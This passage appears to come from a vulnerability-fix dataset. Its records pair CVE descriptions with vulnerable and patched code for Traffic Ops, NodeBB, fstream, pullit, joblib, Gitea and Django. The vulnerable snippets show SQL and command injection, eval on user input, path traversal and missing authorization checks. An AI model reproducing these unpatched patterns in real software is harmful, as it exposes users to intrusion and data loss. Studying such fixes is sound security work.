!= nil {\n\t\tapi.HandleErr(w, r, tx, http.StatusInternalServerError, nil, errors.New(\"scanning deliveryservice_request_comment: \"+err.Error()))\n\t\treturn\n\t}\n\n\tuserID := tc.IDNoMod(inf.User.ID)\n\tif current.AuthorID != userID {\n\t\tapi.HandleErr(w, r, tx, http.StatusBadRequest, errors.New(\"comments can only be updated by the author\"), nil)\n\t\treturn\n\t}\n\tdeliveryServiceRequestComment.AuthorID = current.AuthorID\n\tuserErr, sysErr, sc := api.CheckIfUnModified(r.Header, inf.Tx, id, \"deliveryservice_request_comment\")\n\tif userErr != nil || sysErr != nil {\n\t\tapi.HandleErr(w, r, tx, sc, userErr, sysErr)\n\t\treturn\n\t}\n\n\trows, err := inf.Tx.NamedQuery(updateQuery(), deliveryServiceRequestComment)\n\tif err != nil {\n\t\tuserErr, sysErr, sc := api.ParseDBError(err)\n\t\tapi.HandleErr(w, r, tx, sc, userErr, sysErr)\n\t\treturn\n\t}\n\tdefer rows.Close()\n\n\tif !rows.Next() {\n\t\tapi.HandleErr(w, r, tx, http.StatusNotFound, errors.New(\"no deliveryservice_request_comment found with this id\"), nil)\n\t\treturn\n\t}\n\tlastUpdated := time.Time{}\n\tif err := rows.Scan(&lastUpdated); err != nil {\n\t\tapi.HandleErr(w, r, tx, http.StatusInternalServerError, nil, errors.New(\"scanning lastUpdated from deliveryservice_request_comment insert: \"+err.Error()))\n\t\treturn\n\t}\n\tdeliveryServiceRequestComment.LastUpdated = time.Now()\n\n\tif rows.Next() {\n\t\tapi.HandleErr(w, r, tx, http.StatusInternalServerError, nil, errors.New(\"deliveryservice_request_comment update affected too many rows: >1\"))\n\t\treturn\n\t}\n\n\talerts := tc.CreateAlerts(tc.SuccessLevel, \"deliveryservice_request_comment was updated.\")\n\tapi.WriteAlertsObj(w, r, http.StatusOK, alerts, deliveryServiceRequestComment)\n\tchangeLogMsg := fmt.Sprintf(\"DELIVERYSERVICE_REQUEST_COMMENT: %d, ID: %d, ACTION: Updated deliveryservice_request_comment\", deliveryServiceRequestComment.ID, deliveryServiceRequestComment.ID)\n\tapi.CreateChangeLogRawTx(api.ApiChange, changeLogMsg, inf.User, tx)\n}"}], "vul_patch": "--- a/traffic_ops/traffic_ops_golang/deliveryservice/request/comment/comments.go\n+++ b/traffic_ops/traffic_ops_golang/deliveryservice/request/comment/comments.go\n@@ -1,5 +1,6 @@\n func Validate(dsrc tc.DeliveryServiceRequestCommentV5) error {\n \terrs := validation.Errors{\n+\t\t\"id\":                       validation.Validate(dsrc.ID, validation.NotNil),\n \t\t\"deliveryServiceRequestId\": validation.Validate(dsrc.DeliveryServiceRequestID, validation.NotNil),\n \t\t\"value\":                    validation.Validate(dsrc.Value, validation.NotNil),\n \t}\n\n--- a/traffic_ops/traffic_ops_golang/deliveryservice/request/comment/comments.go\n+++ b/traffic_ops/traffic_ops_golang/deliveryservice/request/comment/comments.go\n@@ -13,6 +13,13 @@\n \t\tapi.HandleErr(w, r, tx, http.StatusBadRequest, err, nil)\n \t\treturn\n \t}\n+\tidParam := inf.Params[\"id\"]\n+\tid, parseErr := strconv.Atoi(idParam)\n+\tif parseErr != nil {\n+\t\tapi.HandleErr(w, r, inf.Tx.Tx, http.StatusBadRequest, errors.New(\"id must be an integer\"), nil)\n+\t\treturn\n+\t}\n+\tdeliveryServiceRequestComment.ID = id\n \n \tif err := Validate(deliveryServiceRequestComment); err != nil {\n \t\tapi.HandleErr(w, r, tx, http.StatusBadRequest, err, nil)\n@@ -20,7 +27,7 @@\n \t}\n \n \tvar current tc.DeliveryServiceRequestCommentV5\n-\terr := inf.Tx.QueryRowx(selectQuery() + `WHERE dsrc.id=` + inf.Params[\"id\"]).StructScan(&current)\n+\terr := inf.Tx.QueryRowx(selectQuery() + `WHERE dsrc.id=` + strconv.Itoa(deliveryServiceRequestComment.ID)).StructScan(&current)\n \tif err != nil {\n \t\tapi.HandleErr(w, r, tx, http.StatusInternalServerError, nil, errors.New(\"scanning deliveryservice_request_comment: \"+err.Error()))\n \t\treturn\n@@ -32,13 +39,6 @@\n \t\treturn\n \t}\n \tdeliveryServiceRequestComment.AuthorID = current.AuthorID\n-\tidParam := inf.Params[\"id\"]\n-\tid, parseErr := strconv.Atoi(idParam)\n-\tif parseErr != nil {\n-\t\tapi.HandleErr(w, r, inf.Tx.Tx, http.StatusBadRequest, errors.New(\"id must be an integer\"), nil)\n-\t\treturn\n-\t}\n-\tdeliveryServiceRequestComment.ID = id\n \tuserErr, sysErr, sc := api.CheckIfUnModified(r.Header, inf.Tx, id, \"deliveryservice_request_comment\")\n \tif userErr != nil || sysErr != nil {\n \t\tapi.HandleErr(w, r, tx, sc, userErr, sysErr)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-43788", "cve_description": "Nodebb is an open source Node.js based forum software. Prior to v1.18.5, a path traversal vulnerability was present that allowed users to access JSON files outside of the expected `languages/` directory. The vulnerability has been patched as of v1.18.5. Users are advised to upgrade as soon as possible.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/NodeBB/NodeBB", "patch_url": ["https://github.com/NodeBB/NodeBB/commit/c8b2fc46dc698db687379106b3f01c71b80f495f"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_263_1", "commit": "835c73c431865771bf6e9ded8bddd26e6c9d3570", "file_path": "src/languages.js", "start_line": 15, "end_line": 24, "snippet": "Languages.get = async function (language, namespace) {\n\tconst data = await fs.promises.readFile(path.join(languagesPath, language, `${namespace}.json`), 'utf8');\n\tconst parsed = JSON.parse(data) || {};\n\tconst result = await plugins.hooks.fire('filter:languages.get', {\n\t\tlanguage,\n\t\tnamespace,\n\t\tdata: parsed,\n\t});\n\treturn result.data;\n};"}], "fix_func": [{"id": "fix_js_263_1", "commit": "c8b2fc46dc698db687379106b3f01c71b80f495f", "file_path": "src/languages.js", "start_line": 15, "end_line": 28, "snippet": "Languages.get = async function (language, namespace) {\n\tconst pathToLanguageFile = path.join(languagesPath, language, `${namespace}.json`);\n\tif (!pathToLanguageFile.startsWith(languagesPath)) {\n\t\tthrow new Error('[[error:invalid-path]]');\n\t}\n\tconst data = await fs.promises.readFile(pathToLanguageFile, 'utf8');\n\tconst parsed = JSON.parse(data) || {};\n\tconst result = await plugins.hooks.fire('filter:languages.get', {\n\t\tlanguage,\n\t\tnamespace,\n\t\tdata: parsed,\n\t});\n\treturn result.data;\n};"}], "vul_patch": "--- a/src/languages.js\n+++ b/src/languages.js\n@@ -1,5 +1,9 @@\n Languages.get = async function (language, namespace) {\n-\tconst data = await fs.promises.readFile(path.join(languagesPath, language, `${namespace}.json`), 'utf8');\n+\tconst pathToLanguageFile = path.join(languagesPath, language, `${namespace}.json`);\n+\tif (!pathToLanguageFile.startsWith(languagesPath)) {\n+\t\tthrow new Error('[[error:invalid-path]]');\n+\t}\n+\tconst data = await fs.promises.readFile(pathToLanguageFile, 'utf8');\n \tconst parsed = JSON.parse(data) || {};\n \tconst result = await plugins.hooks.fire('filter:languages.get', {\n \t\tlanguage,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-13173", "cve_description": "fstream before 1.0.12 is vulnerable to Arbitrary File Overwrite. Extracting tarballs containing a hardlink to a file that already exists in the system, and a file that matches the hardlink, will overwrite the system's file with the contents of the extracted file. The fstream.DirWriter() function is vulnerable.", "cwe_info": {"CWE-59": {"name": "Improper Link Resolution Before File Access ('Link Following')", "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource."}}, "repo": "https://github.com/npm/fstream", "patch_url": ["https://github.com/npm/fstream/commit/6a77d2fa6e1462693cf8e46f930da96ec1b0bb22"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_232_1", "commit": "1e4527f", "file_path": "lib/writer.js", "start_line": 131, "end_line": 162, "snippet": "  function statCb (er, current) {\n    if (self.filter && !self.filter.call(who, who, current)) {\n      self._aborted = true\n      self.emit('end')\n      self.emit('close')\n      return\n    }\n\n    // if it's not there, great.  We'll just create it.\n    // if it is there, then we'll need to change whatever differs\n    if (er || !current) {\n      return create(self)\n    }\n\n    self._old = current\n    var currentType = getType(current)\n\n    // if it's a type change, then we need to clobber or error.\n    // if it's not a type change, then let the impl take care of it.\n    if (currentType !== self.type) {\n      return rimraf(self._path, function (er) {\n        if (er) return self.error(er)\n        self._old = null\n        create(self)\n      })\n    }\n\n    // otherwise, just handle in the app-specific way\n    // this creates a fs.WriteStream, or mkdir's, or whatever\n    create(self)\n  }\n}"}], "fix_func": [{"id": "fix_js_232_1", "commit": "6a77d2fa6e1462693cf8e46f930da96ec1b0bb22", "file_path": "lib/writer.js", "start_line": 131, "end_line": 162, "snippet": "  function statCb (er, current) {\n    if (self.filter && !self.filter.call(who, who, current)) {\n      self._aborted = true\n      self.emit('end')\n      self.emit('close')\n      return\n    }\n\n    // if it's not there, great.  We'll just create it.\n    // if it is there, then we'll need to change whatever differs\n    if (er || !current) {\n      return create(self)\n    }\n\n    self._old = current\n    var currentType = getType(current)\n\n    // if it's a type change, then we need to clobber or error.\n    // if it's not a type change, then let the impl take care of it.\n    if (currentType !== self.type || self.type === 'File' && current.nlink > 1) {\n      return rimraf(self._path, function (er) {\n        if (er) return self.error(er)\n        self._old = null\n        create(self)\n      })\n    }\n\n    // otherwise, just handle in the app-specific way\n    // this creates a fs.WriteStream, or mkdir's, or whatever\n    create(self)\n  }\n}"}], "vul_patch": "--- a/lib/writer.js\n+++ b/lib/writer.js\n@@ -17,7 +17,7 @@\n \n     // if it's a type change, then we need to clobber or error.\n     // if it's not a type change, then let the impl take care of it.\n-    if (currentType !== self.type) {\n+    if (currentType !== self.type || self.type === 'File' && current.nlink > 1) {\n       return rimraf(self._path, function (er) {\n         if (er) return self.error(er)\n         self._old = null\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-25083", "cve_description": "The pullit package before 1.4.0 for Node.js allows OS Command Injection because eval is used on an attacker-supplied Git branch name.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/jkup/pullit", "patch_url": ["https://github.com/jkup/pullit/commit/4fec455774ee08f4dce0ef2ef934ffcc37219bfb"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_159_1", "commit": "e71fbe1", "file_path": "src/index.js", "start_line": 3, "end_line": 5, "snippet": "const {\n  execSync\n} = require('child_process');"}, {"id": "vul_js_159_2", "commit": "e71fbe1", "file_path": "src/index.js", "start_line": 28, "end_line": 44, "snippet": "  fetch(id) {\n    return this.github.pullRequests\n      .get({\n        owner: this.owner,\n        repo: this.repo,\n        number: id\n      })\n      .then(res => {\n        const branch = res.data.head.ref;\n        execSync(\n          `git fetch origin pull/${id}/head:${branch} && git checkout ${branch}`\n        );\n      })\n      .catch(err => {\n        console.log('Error: Could not find the specified pull request.');\n      });\n  }"}], "fix_func": [{"id": "fix_js_159_1", "commit": "4fec455", "file_path": "src/index.js", "start_line": 3, "end_line": 3, "snippet": "const { execFileSync } = require(\"child_process\");"}, {"id": "fix_js_159_2", "commit": "4fec455", "file_path": "src/index.js", "start_line": 26, "end_line": 41, "snippet": "  fetch(id) {\n    return this.github.pullRequests\n      .get({\n        owner: this.owner,\n        repo: this.repo,\n        number: id\n      })\n      .then(res => {\n        const branch = res.data.head.ref;\n        execFileSync(\"git\", [\"fetch\", \"origin\", `pull/${id}/head:${branch}`]);\n        execFileSync(\"git\", [\"checkout\", branch]);\n      })\n      .catch(err => {\n        console.log(\"Error: Could not find the specified pull request.\");\n      });\n  }"}], "vul_patch": "--- a/src/index.js\n+++ b/src/index.js\n@@ -1,3 +1 @@\n-const {\n-  execSync\n-} = require('child_process');\n+const { execFileSync } = require(\"child_process\");\n\n--- a/src/index.js\n+++ b/src/index.js\n@@ -7,11 +7,10 @@\n       })\n       .then(res => {\n         const branch = res.data.head.ref;\n-        execSync(\n-          `git fetch origin pull/${id}/head:${branch} && git checkout ${branch}`\n-        );\n+        execFileSync(\"git\", [\"fetch\", \"origin\", `pull/${id}/head:${branch}`]);\n+        execFileSync(\"git\", [\"checkout\", branch]);\n       })\n       .catch(err => {\n-        console.log('Error: Could not find the specified pull request.');\n+        console.log(\"Error: Could not find the specified pull request.\");\n       });\n   }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-21797", "cve_description": "The package joblib from 0 and before 1.2.0 are vulnerable to Arbitrary Code Execution via the pre_dispatch flag in Parallel() class due to the eval() statement.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/joblib/joblib", "patch_url": ["https://github.com/joblib/joblib/commit/6638b9e9711ad1ebbf6dd95aa7cee0dca9897b42", "https://github.com/joblib/joblib/commit/b90f10efeb670a2cc877fb88ebb3f2019189e059"], "programing_language": "Python", "vul_func": [{"id": "vul_py_414_1", "commit": "1f00a1c30a107342bfb77ef39c0d65f5991eb1bc", "file_path": "joblib/parallel.py", "start_line": 999, "end_line": 1114, "snippet": "    def __call__(self, iterable):\n        if self._jobs:\n            raise ValueError('This Parallel instance is already running')\n        # A flag used to abort the dispatching of jobs in case an\n        # exception is found\n        self._aborting = False\n\n        if not self._managed_backend:\n            n_jobs = self._initialize_backend()\n        else:\n            n_jobs = self._effective_n_jobs()\n\n        if isinstance(self._backend, LokyBackend):\n            # For the loky backend, we add a callback executed when reducing\n            # BatchCalls, that makes the loky executor use a temporary folder\n            # specific to this Parallel object when pickling temporary memmaps.\n            # This callback is necessary to ensure that several Parallel\n            # objects using the same resuable executor don't use the same\n            # temporary resources.\n\n            def _batched_calls_reducer_callback():\n                # Relevant implementation detail: the following lines, called\n                # when reducing BatchedCalls, are called in a thread-safe\n                # situation, meaning that the context of the temporary folder\n                # manager will not be changed in between the callback execution\n                # and the end of the BatchedCalls pickling. The reason is that\n                # pickling (the only place where set_current_context is used)\n                # is done from a single thread (the queue_feeder_thread).\n                self._backend._workers._temp_folder_manager.set_current_context(  # noqa\n                    self._id\n                )\n            self._reducer_callback = _batched_calls_reducer_callback\n\n        # self._effective_n_jobs should be called in the Parallel.__call__\n        # thread only -- store its value in an attribute for further queries.\n        self._cached_effective_n_jobs = n_jobs\n\n        backend_name = self._backend.__class__.__name__\n        if n_jobs == 0:\n            raise RuntimeError(\"%s has no active worker.\" % backend_name)\n\n        self._print(\"Using backend %s with %d concurrent workers.\",\n                    (backend_name, n_jobs))\n        if hasattr(self._backend, 'start_call'):\n            self._backend.start_call()\n        iterator = iter(iterable)\n        pre_dispatch = self.pre_dispatch\n\n        if pre_dispatch == 'all' or n_jobs == 1:\n            # prevent further dispatch via multiprocessing callback thread\n            self._original_iterator = None\n            self._pre_dispatch_amount = 0\n        else:\n            self._original_iterator = iterator\n            if hasattr(pre_dispatch, 'endswith'):\n                pre_dispatch = eval(\n                    pre_dispatch,\n                    {\"n_jobs\": n_jobs, \"__builtins__\": {}},  # globals\n                    {}  # locals\n                )\n            self._pre_dispatch_amount = pre_dispatch = int(pre_dispatch)\n\n            # The main thread will consume the first pre_dispatch items and\n            # the remaining items will later be lazily dispatched by async\n            # callbacks upon task completions.\n\n            # TODO: this iterator should be batch_size * n_jobs\n            iterator = itertools.islice(iterator, self._pre_dispatch_amount)\n\n        self._start_time = time.time()\n        self.n_dispatched_batches = 0\n        self.n_dispatched_tasks = 0\n        self.n_completed_tasks = 0\n        # Use a caching dict for callables that are pickled with cloudpickle to\n        # improve performances. This cache is used only in the case of\n        # functions that are defined in the __main__ module, functions that are\n        # defined locally (inside another function) and lambda expressions.\n        self._pickle_cache = dict()\n        try:\n            # Only set self._iterating to True if at least a batch\n            # was dispatched. In particular this covers the edge\n            # case of Parallel used with an exhausted iterator. If\n            # self._original_iterator is None, then this means either\n            # that pre_dispatch == \"all\", n_jobs == 1 or that the first batch\n            # was very quick and its callback already dispatched all the\n            # remaining jobs.\n            self._iterating = False\n            if self.dispatch_one_batch(iterator):\n                self._iterating = self._original_iterator is not None\n\n            while self.dispatch_one_batch(iterator):\n                pass\n\n            if pre_dispatch == \"all\" or n_jobs == 1:\n                # The iterable was consumed all at once by the above for loop.\n                # No need to wait for async callbacks to trigger to\n                # consumption.\n                self._iterating = False\n\n            with self._backend.retrieval_context():\n                self.retrieve()\n            # Make sure that we get a last message telling us we are done\n            elapsed_time = time.time() - self._start_time\n            self._print('Done %3i out of %3i | elapsed: %s finished',\n                        (len(self._output), len(self._output),\n                         short_format_time(elapsed_time)))\n        finally:\n            if hasattr(self._backend, 'stop_call'):\n                self._backend.stop_call()\n            if not self._managed_backend:\n                self._terminate_backend()\n            self._jobs = list()\n            self._pickle_cache = None\n        output = self._output\n        self._output = None\n        return output"}], "fix_func": [{"id": "fix_py_414_1", "commit": "6638b9e9711ad1ebbf6dd95aa7cee0dca9897b42", "file_path": "joblib/parallel.py", "start_line": 1000, "end_line": 1113, "snippet": "    def __call__(self, iterable):\n        if self._jobs:\n            raise ValueError('This Parallel instance is already running')\n        # A flag used to abort the dispatching of jobs in case an\n        # exception is found\n        self._aborting = False\n\n        if not self._managed_backend:\n            n_jobs = self._initialize_backend()\n        else:\n            n_jobs = self._effective_n_jobs()\n\n        if isinstance(self._backend, LokyBackend):\n            # For the loky backend, we add a callback executed when reducing\n            # BatchCalls, that makes the loky executor use a temporary folder\n            # specific to this Parallel object when pickling temporary memmaps.\n            # This callback is necessary to ensure that several Parallel\n            # objects using the same resuable executor don't use the same\n            # temporary resources.\n\n            def _batched_calls_reducer_callback():\n                # Relevant implementation detail: the following lines, called\n                # when reducing BatchedCalls, are called in a thread-safe\n                # situation, meaning that the context of the temporary folder\n                # manager will not be changed in between the callback execution\n                # and the end of the BatchedCalls pickling. The reason is that\n                # pickling (the only place where set_current_context is used)\n                # is done from a single thread (the queue_feeder_thread).\n                self._backend._workers._temp_folder_manager.set_current_context(  # noqa\n                    self._id\n                )\n            self._reducer_callback = _batched_calls_reducer_callback\n\n        # self._effective_n_jobs should be called in the Parallel.__call__\n        # thread only -- store its value in an attribute for further queries.\n        self._cached_effective_n_jobs = n_jobs\n\n        backend_name = self._backend.__class__.__name__\n        if n_jobs == 0:\n            raise RuntimeError(\"%s has no active worker.\" % backend_name)\n\n        self._print(\"Using backend %s with %d concurrent workers.\",\n                    (backend_name, n_jobs))\n        if hasattr(self._backend, 'start_call'):\n            self._backend.start_call()\n        iterator = iter(iterable)\n        pre_dispatch = self.pre_dispatch\n\n        if pre_dispatch == 'all' or n_jobs == 1:\n            # prevent further dispatch via multiprocessing callback thread\n            self._original_iterator = None\n            self._pre_dispatch_amount = 0\n        else:\n            self._original_iterator = iterator\n            if hasattr(pre_dispatch, 'endswith'):\n                pre_dispatch = eval_expr(\n                    pre_dispatch.replace(\"n_jobs\", str(n_jobs))\n                )\n            self._pre_dispatch_amount = pre_dispatch = int(pre_dispatch)\n\n            # The main thread will consume the first pre_dispatch items and\n            # the remaining items will later be lazily dispatched by async\n            # callbacks upon task completions.\n\n            # TODO: this iterator should be batch_size * n_jobs\n            iterator = itertools.islice(iterator, self._pre_dispatch_amount)\n\n        self._start_time = time.time()\n        self.n_dispatched_batches = 0\n        self.n_dispatched_tasks = 0\n        self.n_completed_tasks = 0\n        # Use a caching dict for callables that are pickled with cloudpickle to\n        # improve performances. This cache is used only in the case of\n        # functions that are defined in the __main__ module, functions that are\n        # defined locally (inside another function) and lambda expressions.\n        self._pickle_cache = dict()\n        try:\n            # Only set self._iterating to True if at least a batch\n            # was dispatched. In particular this covers the edge\n            # case of Parallel used with an exhausted iterator. If\n            # self._original_iterator is None, then this means either\n            # that pre_dispatch == \"all\", n_jobs == 1 or that the first batch\n            # was very quick and its callback already dispatched all the\n            # remaining jobs.\n            self._iterating = False\n            if self.dispatch_one_batch(iterator):\n                self._iterating = self._original_iterator is not None\n\n            while self.dispatch_one_batch(iterator):\n                pass\n\n            if pre_dispatch == \"all\" or n_jobs == 1:\n                # The iterable was consumed all at once by the above for loop.\n                # No need to wait for async callbacks to trigger to\n                # consumption.\n                self._iterating = False\n\n            with self._backend.retrieval_context():\n                self.retrieve()\n            # Make sure that we get a last message telling us we are done\n            elapsed_time = time.time() - self._start_time\n            self._print('Done %3i out of %3i | elapsed: %s finished',\n                        (len(self._output), len(self._output),\n                         short_format_time(elapsed_time)))\n        finally:\n            if hasattr(self._backend, 'stop_call'):\n                self._backend.stop_call()\n            if not self._managed_backend:\n                self._terminate_backend()\n            self._jobs = list()\n            self._pickle_cache = None\n        output = self._output\n        self._output = None\n        return output"}], "vul_patch": "--- a/joblib/parallel.py\n+++ b/joblib/parallel.py\n@@ -53,10 +53,8 @@\n         else:\n             self._original_iterator = iterator\n             if hasattr(pre_dispatch, 'endswith'):\n-                pre_dispatch = eval(\n-                    pre_dispatch,\n-                    {\"n_jobs\": n_jobs, \"__builtins__\": {}},  # globals\n-                    {}  # locals\n+                pre_dispatch = eval_expr(\n+                    pre_dispatch.replace(\"n_jobs\", str(n_jobs))\n                 )\n             self._pre_dispatch_amount = pre_dispatch = int(pre_dispatch)\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0905", "cve_description": "Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/go-gitea/gitea", "patch_url": ["https://github.com/go-gitea/gitea/commit/3e5c844a7758fa29126d201f4f98bf21bca6d314", "https://github.com/go-gitea/gitea/commit/1314f38b59748397b3429fb9bc9f9d6bac85d2f2"], "programing_language": "Go", "vul_func": [{"id": "vul_go_156_1", "commit": "4047c5c", "file_path": "modules/auth/pam/pam.go", "start_line": 20, "end_line": 37, "snippet": "func Auth(serviceName, userName, passwd string) (string, error) {\n\tt, err := pam.StartFunc(serviceName, userName, func(s pam.Style, msg string) (string, error) {\n\t\tswitch s {\n\t\tcase pam.PromptEchoOff:\n\t\t\treturn passwd, nil\n\t\tcase pam.PromptEchoOn, pam.ErrorMsg, pam.TextInfo:\n\t\t\treturn \"\", nil\n\t\t}\n\t\treturn \"\", errors.New(\"Unrecognized PAM message style\")\n\t})\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif err = t.Authenticate(0); err != nil {\n\t\treturn \"\", err\n\t}"}], "fix_func": [{"id": "fix_go_156_1", "commit": "3e5c844", "file_path": "modules/auth/pam/pam.go", "start_line": 20, "end_line": 41, "snippet": "func Auth(serviceName, userName, passwd string) (string, error) {\n\tt, err := pam.StartFunc(serviceName, userName, func(s pam.Style, msg string) (string, error) {\n\t\tswitch s {\n\t\tcase pam.PromptEchoOff:\n\t\t\treturn passwd, nil\n\t\tcase pam.PromptEchoOn, pam.ErrorMsg, pam.TextInfo:\n\t\t\treturn \"\", nil\n\t\t}\n\t\treturn \"\", errors.New(\"Unrecognized PAM message style\")\n\t})\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif err = t.Authenticate(0); err != nil {\n\t\treturn \"\", err\n\t}\n\t\n\tif err = t.AcctMgmt(0); err != nil {\n\t  return \"\", err\n  }"}], "vul_patch": "--- a/modules/auth/pam/pam.go\n+++ b/modules/auth/pam/pam.go\n@@ -16,3 +16,7 @@\n \tif err = t.Authenticate(0); err != nil {\n \t\treturn \"\", err\n \t}\n+\t\n+\tif err = t.AcctMgmt(0); err != nil {\n+\t  return \"\", err\n+  }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-7234", "cve_description": "A maliciously crafted URL to a Django (1.10 before 1.10.7, 1.9 before 1.9.13, and 1.8 before 1.8.18) site using the ``django.views.static.serve()`` view could redirect to any other domain, aka an open redirect vulnerability.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/2a9f6ef71b8e23fd267ee2be1be26dde8ab67037", "https://github.com/django/django/commit/5f1ffb07afc1e59729ce2b283124116d6c0659e4", "https://github.com/django/django/commit/4a6b945dffe8d10e7cec107d93e6efaebfbded29"], "programing_language": "Python", "vul_func": [{"id": "vul_py_377_1", "commit": "15eb3b4c03f4a1dc74c3314d57a3ef5b67f383b4", "file_path": "django/views/static.py", "start_line": 23, "end_line": 74, "snippet": "def serve(request, path, document_root=None, show_indexes=False):\n    \"\"\"\n    Serve static files below a given point in the directory structure.\n\n    To use, put a URL pattern such as::\n\n        from django.views.static import serve\n\n        url(r'^(?P<path>.*)$', serve, {'document_root': '/path/to/my/files/'})\n\n    in your URLconf. You must provide the ``document_root`` param. You may\n    also set ``show_indexes`` to ``True`` if you'd like to serve a basic index\n    of the directory.  This index view will use the template hardcoded below,\n    but if you'd like to override it, you can create a template called\n    ``static/directory_index.html``.\n    \"\"\"\n    path = posixpath.normpath(unquote(path))\n    path = path.lstrip('/')\n    newpath = ''\n    for part in path.split('/'):\n        if not part:\n            # Strip empty path components.\n            continue\n        drive, part = os.path.splitdrive(part)\n        head, part = os.path.split(part)\n        if part in (os.curdir, os.pardir):\n            # Strip '.' and '..' in path.\n            continue\n        newpath = os.path.join(newpath, part).replace('\\\\', '/')\n    if newpath and path != newpath:\n        return HttpResponseRedirect(newpath)\n    fullpath = os.path.join(document_root, newpath)\n    if os.path.isdir(fullpath):\n        if show_indexes:\n            return directory_index(newpath, fullpath)\n        raise Http404(_(\"Directory indexes are not allowed here.\"))\n    if not os.path.exists(fullpath):\n        raise Http404(_('\"%(path)s\" does not exist') % {'path': fullpath})\n    # Respect the If-Modified-Since header.\n    statobj = os.stat(fullpath)\n    if not was_modified_since(request.META.get('HTTP_IF_MODIFIED_SINCE'),\n                              statobj.st_mtime, statobj.st_size):\n        return HttpResponseNotModified()\n    content_type, encoding = mimetypes.guess_type(fullpath)\n    content_type = content_type or 'application/octet-stream'\n    response = FileResponse(open(fullpath, 'rb'), content_type=content_type)\n    response[\"Last-Modified\"] = http_date(statobj.st_mtime)\n    if stat.S_ISREG(statobj.st_mode):\n        response[\"Content-Length\"] = statobj.st_size\n    if encoding:\n        response[\"Content-Encoding\"] = encoding\n    return response"}], "fix_func": [{"id": "fix_py_377_1", "commit": "2a9f6ef71b8e23fd267ee2be1be26dde8ab67037", "file_path": "django/views/static.py", "start_line": 23, "end_line": 60, "snippet": "def serve(request, path, document_root=None, show_indexes=False):\n    \"\"\"\n    Serve static files below a given point in the directory structure.\n\n    To use, put a URL pattern such as::\n\n        from django.views.static import serve\n\n        url(r'^(?P<path>.*)$', serve, {'document_root': '/path/to/my/files/'})\n\n    in your URLconf. You must provide the ``document_root`` param. You may\n    also set ``show_indexes`` to ``True`` if you'd like to serve a basic index\n    of the directory.  This index view will use the template hardcoded below,\n    but if you'd like to override it, you can create a template called\n    ``static/directory_index.html``.\n    \"\"\"\n    path = posixpath.normpath(unquote(path)).lstrip('/')\n    fullpath = safe_join(document_root, path)\n    if os.path.isdir(fullpath):\n        if show_indexes:\n            return directory_index(path, fullpath)\n        raise Http404(_(\"Directory indexes are not allowed here.\"))\n    if not os.path.exists(fullpath):\n        raise Http404(_('\"%(path)s\" does not exist') % {'path': fullpath})\n    # Respect the If-Modified-Since header.\n    statobj = os.stat(fullpath)\n    if not was_modified_since(request.META.get('HTTP_IF_MODIFIED_SINCE'),\n                              statobj.st_mtime, statobj.st_size):\n        return HttpResponseNotModified()\n    content_type, encoding = mimetypes.guess_type(fullpath)\n    content_type = content_type or 'application/octet-stream'\n    response = FileResponse(open(fullpath, 'rb'), content_type=content_type)\n    response[\"Last-Modified\"] = http_date(statobj.st_mtime)\n    if stat.S_ISREG(statobj.st_mode):\n        response[\"Content-Length\"] = statobj.st_size\n    if encoding:\n        response[\"Content-Encoding\"] = encoding\n    return response"}], "vul_patch": "--- a/django/views/static.py\n+++ b/django/views/static.py\n@@ -14,25 +14,11 